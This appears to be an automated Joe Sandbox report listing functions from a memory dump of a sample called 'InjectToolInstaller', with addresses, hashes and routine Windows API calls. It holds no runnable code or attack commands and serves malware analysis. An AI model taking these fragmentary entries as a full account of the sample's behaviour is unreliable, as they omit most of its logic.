Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: f46a049cee860eca51c67733bec2a1f94a7852f673e70cbde19180b9e4062f43
Instruction ID: a02a08206df82176feaa82fc4e94017cda51c45042692c948bf5ad4a447e9146
Opcode Fuzzy Hash: f46a049cee860eca51c67733bec2a1f94a7852f673e70cbde19180b9e4062f43
Instruction Fuzzy Hash: B4616F70D0011ADFCB15EFA8D890AEEBBB9FF19308F14409AE515A7651EB70AE41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 013B0A7D Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B0A84

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 938d382cab3c00d4bed676a4d629272d17895d41f6f0a0e1c9b5252f2122427d
Instruction ID: 31bc78476a7b87415fd8ab5e24cd5b4992be3703544c3f727b2875a8a9308841
Opcode Fuzzy Hash: 938d382cab3c00d4bed676a4d629272d17895d41f6f0a0e1c9b5252f2122427d
Instruction Fuzzy Hash: 7B517F71A002069BEF29DE58CCC4BFF7BB5BF8521CF188019EA059BA41F774E9458791

Uniqueness

Uniqueness Score: -1.00%

Function 013B3307 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B330E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: b3f2460acef3c94d61f4db687da7409b1128c8c57a090e3af8652e1fea7db9c6
Instruction ID: 157a9e8486a41dd99c76513587f903ead1f5bdf7ad63611f26a40de139c37814
Opcode Fuzzy Hash: b3f2460acef3c94d61f4db687da7409b1128c8c57a090e3af8652e1fea7db9c6
Instruction Fuzzy Hash: AC411975A01A26EFDB05CFA4C4C0AEABBB5FF49318B044148EA455BB51DB31F925CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 013BB532 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BB539

Part of subcall function 013BA5FD: __EH_prolog3.LIBCMT ref: 013BA604

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 54db74d18a1510aae85f507c50cb69819607a2fc3b4f7640488e8b918b00c134
Instruction ID: 1f8db10da4eb857263283df45886e5b1aac1cd7b065ac699eea7651e5bdc6699
Opcode Fuzzy Hash: 54db74d18a1510aae85f507c50cb69819607a2fc3b4f7640488e8b918b00c134
Instruction Fuzzy Hash: C741D071900606EFDB11EFA8C884ADEFBF9FF14318F14405AE95597651EB30EA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013AF7A7 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AF7AE

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 8d2270bfdbe3e0cc3e0aea6f4d908159249a084712601666048d60bbf38abe9a
Instruction ID: 281baada0767b429cc73d33a17c611fcb0447a288149e793e9be2fa22658c11c
Opcode Fuzzy Hash: 8d2270bfdbe3e0cc3e0aea6f4d908159249a084712601666048d60bbf38abe9a
Instruction Fuzzy Hash: 1231D5B1600741AFDB25DF78C490B2A7FEDEF58258F548A6DE486C7681D730EA85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 013BE2D7 Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BE2E1

Part of subcall function 013BDFA2: __EH_prolog3.LIBCMT ref: 013BDFA9

Part of subcall function 013BDE86: __EH_prolog3.LIBCMT ref: 013BDE8D

Part of subcall function 013BE47D: __EH_prolog3.LIBCMT ref: 013BE487

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 98d064f828389e5a3191df0779adc62f9cfcd5a62d530ab969710abbfcdfa86e
Instruction ID: b33e51da483e05d93cadf8cd296f21f9e83642c229299d9011d308b00dd2a134
Opcode Fuzzy Hash: 98d064f828389e5a3191df0779adc62f9cfcd5a62d530ab969710abbfcdfa86e
Instruction Fuzzy Hash: 4641537190125ADEDF11EFACC990BDE7B78EF14208F4400A5E609A7641EB349E45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 013B03CB Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 013B03D5

Part of subcall function 013B16AC: __EH_prolog3_catch.LIBCMT ref: 013B16B3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3_catchH_prolog3_catch_
String ID:
API String ID: 2571662373-0
Opcode ID: 93a79a66137d84f2d04ea9a733491f57e0a8f470ebdbb4f63a7b82da17566bc4
Instruction ID: bea2dca7f5c4ef85b8b39b0a41d00f7576d17949283e87029a5b55f64c17f294
Opcode Fuzzy Hash: 93a79a66137d84f2d04ea9a733491f57e0a8f470ebdbb4f63a7b82da17566bc4
Instruction Fuzzy Hash: 76316D30A01259DFEB29CF68C984BDEBBB4BF15308F0440D9EA49AB652D7759E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013E9862 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 013D1D4B: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013E59F9,00000001,00000364,?,013CDA6D,0140DBA8,00000010), ref: 013D1D8C

_free.LIBCMT ref: 013E98CE

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5cac4b37e6bd5b19d328f82c2ec85c1a30758e55616d341dcc9c75ce10bbd377
Instruction ID: e5aa2e8e9c03480d59806e4cf49fb0ccc85d2c823e16e75c8e0910562b6e5d0f
Opcode Fuzzy Hash: 5cac4b37e6bd5b19d328f82c2ec85c1a30758e55616d341dcc9c75ce10bbd377
Instruction Fuzzy Hash: 41012672200305ABE3218E699885A5AFBEDEB85234F25052DE594932C0EA30A805C774

Uniqueness

Uniqueness Score: -1.00%

Function 013A97F1 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A97F8

Part of subcall function 013AA092: __EH_prolog3_GS.LIBCMT ref: 013AA09C
Part of subcall function 013AA092: GetTempPathA.KERNEL32(00000105,?), ref: 013AA0C9

Part of subcall function 013A9B5A: GetCurrentThreadId.KERNEL32 ref: 013A9B7F
Part of subcall function 013A9B5A: GetTickCount.KERNEL32 ref: 013A9B8A
Part of subcall function 013A9B5A: GetCurrentProcessId.KERNEL32 ref: 013A9B97
Part of subcall function 013A9B5A: GetTickCount.KERNEL32(?), ref: 013A9C14
Part of subcall function 013A9B5A: SetLastError.KERNEL32(000000B7,?,?), ref: 013A9C50

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CountCurrentTick$ErrorH_prolog3H_prolog3_LastPathProcessTempThread
String ID:
API String ID: 1281145416-0
Opcode ID: b1491445c94bf8413b580486b7372bd93d578e2ea946a5e17f40e54d7a99166f
Instruction ID: 3d244e0c70ae9f0f037b183a160a27658482778270d80e3c48f64d1038a198c5
Opcode Fuzzy Hash: b1491445c94bf8413b580486b7372bd93d578e2ea946a5e17f40e54d7a99166f
Instruction Fuzzy Hash: 1501D83158010AAEEB00EBA8C880FED7BADDF6630CF445059A3417B191DE29894ED790

Uniqueness

Uniqueness Score: -1.00%

Function 013D1D4B Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013E59F9,00000001,00000364,?,013CDA6D,0140DBA8,00000010), ref: 013D1D8C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dcc292f7d5f4b9c5383cf18967a637cd6eb180229f1820ae77be594241f8dad2
Instruction ID: 9dba0fba50c9f0b604f3bac8f26d62b51b245a832a2a35be279f5ea4a79c6927
Opcode Fuzzy Hash: dcc292f7d5f4b9c5383cf18967a637cd6eb180229f1820ae77be594241f8dad2
Instruction Fuzzy Hash: D0F089336517296BFB317A6EBC04B7A7B5DAF51A78B148111ED08D6294CB70D40186A0

Uniqueness

Uniqueness Score: -1.00%

Function 013D1C49 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 110309bae1f19604370e3179f8a76d1c22880d936d431c540e7e56c400cecfb9
Instruction ID: 37bf767f0f14d4b4c0c1a17988cf6b0ae58d8524c47d812bf1ed7ff2f9719854
Opcode Fuzzy Hash: 110309bae1f19604370e3179f8a76d1c22880d936d431c540e7e56c400cecfb9
Instruction Fuzzy Hash: 01E092373413265BFF31266EBD04BAB7B9C9F422ACF054221ED44D76D4DBA0C80182E1

Uniqueness

Uniqueness Score: -1.00%

Function 013BD806 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BD80D

Part of subcall function 013A9A83: CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?), ref: 013A9AA3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CreateDirectoryH_prolog3
String ID:
API String ID: 517817506-0
Opcode ID: 2771c430a6d572214a86a3cece1b7f671036f243c4fc8297cbee077f546ec596
Instruction ID: c242eb53dd1df6b6306d1cf8e78d4e3ebdf53e4e25f9d6d35f2d859d95c33f3e
Opcode Fuzzy Hash: 2771c430a6d572214a86a3cece1b7f671036f243c4fc8297cbee077f546ec596
Instruction Fuzzy Hash: 5DF0B271900116ABDB01FB98D882DEEFB74FF24609F55412AA7196B4A0EB31A956CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 013BD53F Relevance: 1.5, APIs: 1, Instructions: 24timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32 ref: 013BD554

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: KillTimer
String ID:
API String ID: 729406807-0
Opcode ID: 83b0075d28ae6b0c28db2870aa2e04d4a0f98bf80a54b886805c2f4f865d630c
Instruction ID: 6a68dcc4878fac435a0bb44548c8fee5118732d51b2f72fa9cd10cf01197bd44
Opcode Fuzzy Hash: 83b0075d28ae6b0c28db2870aa2e04d4a0f98bf80a54b886805c2f4f865d630c
Instruction Fuzzy Hash: 7DE0ED31100705EBCF265F88C884BEA7FAABB1030DF40840EF69A15DA0CB76A5A0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 013AB4D2 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 013AB4F5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 5c8dac51f8e3ebade67d76360cd394fbb595ffbcc3964fc95e7e6c411ab061b7
Instruction ID: a21a48a92423cffb50772253302f6b6e23bdfe58c3242f759ab6d84beda24ccd
Opcode Fuzzy Hash: 5c8dac51f8e3ebade67d76360cd394fbb595ffbcc3964fc95e7e6c411ab061b7
Instruction Fuzzy Hash: 79E09A7120420DEFDB11CF55D981F9A37EAEB88714F11C118F9184B264D731EA64DF55

Uniqueness

Uniqueness Score: -1.00%

Function 013B16AC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 013B16B3

Part of subcall function 013B13D0: __EH_prolog3.LIBCMT ref: 013B13D7

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3H_prolog3_catch
String ID:
API String ID: 1882928916-0
Opcode ID: f09bd2769a7b12b7023e12e0f61c57db78d16772265ccafb9e44f5cca7ec9538
Instruction ID: 9d9ad4473864308fcc9dfc112fffcaeaee9209ead1a4aff369564ef39648ab88
Opcode Fuzzy Hash: f09bd2769a7b12b7023e12e0f61c57db78d16772265ccafb9e44f5cca7ec9538
Instruction Fuzzy Hash: E4E0D874404182AEEB21E72C90D47D96AA06B2132CF484049EB445FE41E6B5A988C755

Uniqueness

Uniqueness Score: -1.00%

Function 013C727F Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 013C72A8

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ___vcrt_uninitialize_ptd
String ID:
API String ID: 765379766-0
Opcode ID: f0c2e96746890f94aa294f07754ce35b26a0e0eb9a99e4086882805da5557604
Instruction ID: 5b625cf423936c3fe6b9d853ef3ee76908478e8a6505c46e8b0336c9ef6e3b83
Opcode Fuzzy Hash: f0c2e96746890f94aa294f07754ce35b26a0e0eb9a99e4086882805da5557604
Instruction Fuzzy Hash: CDD0A93910434208ED14A6BD380258A3B869922DFC7A0028EFE30866D0EA208C80AF21

Uniqueness

Uniqueness Score: -1.00%

Function 013AB2C7 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 013AB2DD

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1af53df320db73dc712b11a5c870cad423749902e332c5f8298b1567a15c8191
Instruction ID: 7734514cd06b4daa8881710dc0d62dd582830917cfe6c1c99c6dea65e6a4beb3
Opcode Fuzzy Hash: 1af53df320db73dc712b11a5c870cad423749902e332c5f8298b1567a15c8191
Instruction Fuzzy Hash: 2CE0B676600208FFDB01CF94D802F9EBBBDEB09321F108198F90496250D7369A60EB95

Uniqueness

Uniqueness Score: -1.00%

Function 013AA77A Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AA781

Part of subcall function 013AA7BA: __EH_prolog3.LIBCMT ref: 013AA7C1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: ee6da50be64a4e32df47b21f092f76aa42bb2ee810a35fd50f4a370167cb79f9
Instruction ID: d1a80b0f9ed5a37577d2531588d56568c0f6932f56254f17eb24ab7591f18e33
Opcode Fuzzy Hash: ee6da50be64a4e32df47b21f092f76aa42bb2ee810a35fd50f4a370167cb79f9
Instruction Fuzzy Hash: 04E0C235D4010A9BCB04FBA8C881AEDB778EF32348F906019A511270E0EF345B0EDB54

Uniqueness

Uniqueness Score: -1.00%

Function 013BE2B5 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 013BE2C3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: 84a205925dd6b91938e493437a921d8a0c5712e5e538251d8eeddc13dee4309b
Instruction ID: 3d3771123fc298eca2161a90c61e298d2e5389a9373873fe0f6e25992bd7c4b5
Opcode Fuzzy Hash: 84a205925dd6b91938e493437a921d8a0c5712e5e538251d8eeddc13dee4309b
Instruction Fuzzy Hash: 4ED0123A410121DFEB312E2CF4407D077E96F10336F19447DE9C05E194EBB688D2AB40

Uniqueness

Uniqueness Score: -1.00%

Function 013BE689 Relevance: 1.5, APIs: 1, Instructions: 16windowCOMMON

Download Yara Rule

APIs

Part of subcall function 013A4ACE: WaitForSingleObject.KERNEL32(?,000000FF), ref: 013A4AD6

PostMessageA.USER32 ref: 013BE6A6

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: MessageObjectPostSingleWait
String ID:
API String ID: 1869837590-0
Opcode ID: 5e0d98d10b16647001f5aab4b869c811c952b1b7c427fc81ff88626126b68dbf
Instruction ID: 255ab0aacfa392725df286905c08b12c97ad238be0fba7203cfc1e9eae55a0dc
Opcode Fuzzy Hash: 5e0d98d10b16647001f5aab4b869c811c952b1b7c427fc81ff88626126b68dbf
Instruction Fuzzy Hash: AED05E31104B506EFBB1161CFD89BC67A96AB00724F595559B28214CE0C6D178C08748

Uniqueness

Uniqueness Score: -1.00%

Function 013A6FDF Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 013A6FFD

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: f2818141e1a9d5b5c4b73f939e336ca1954131df20dfe910eaef19fb380dce24
Instruction ID: 7cb7d022e942065c7984936a6b264d18e5c3da02c1d216a0664f775b7ca87ac2
Opcode Fuzzy Hash: f2818141e1a9d5b5c4b73f939e336ca1954131df20dfe910eaef19fb380dce24
Instruction Fuzzy Hash: C1C0222500420E36CE00ABDECC02C9A371CCA40814B90007DB90846050EB32DD0083F0

Uniqueness

Uniqueness Score: -1.00%

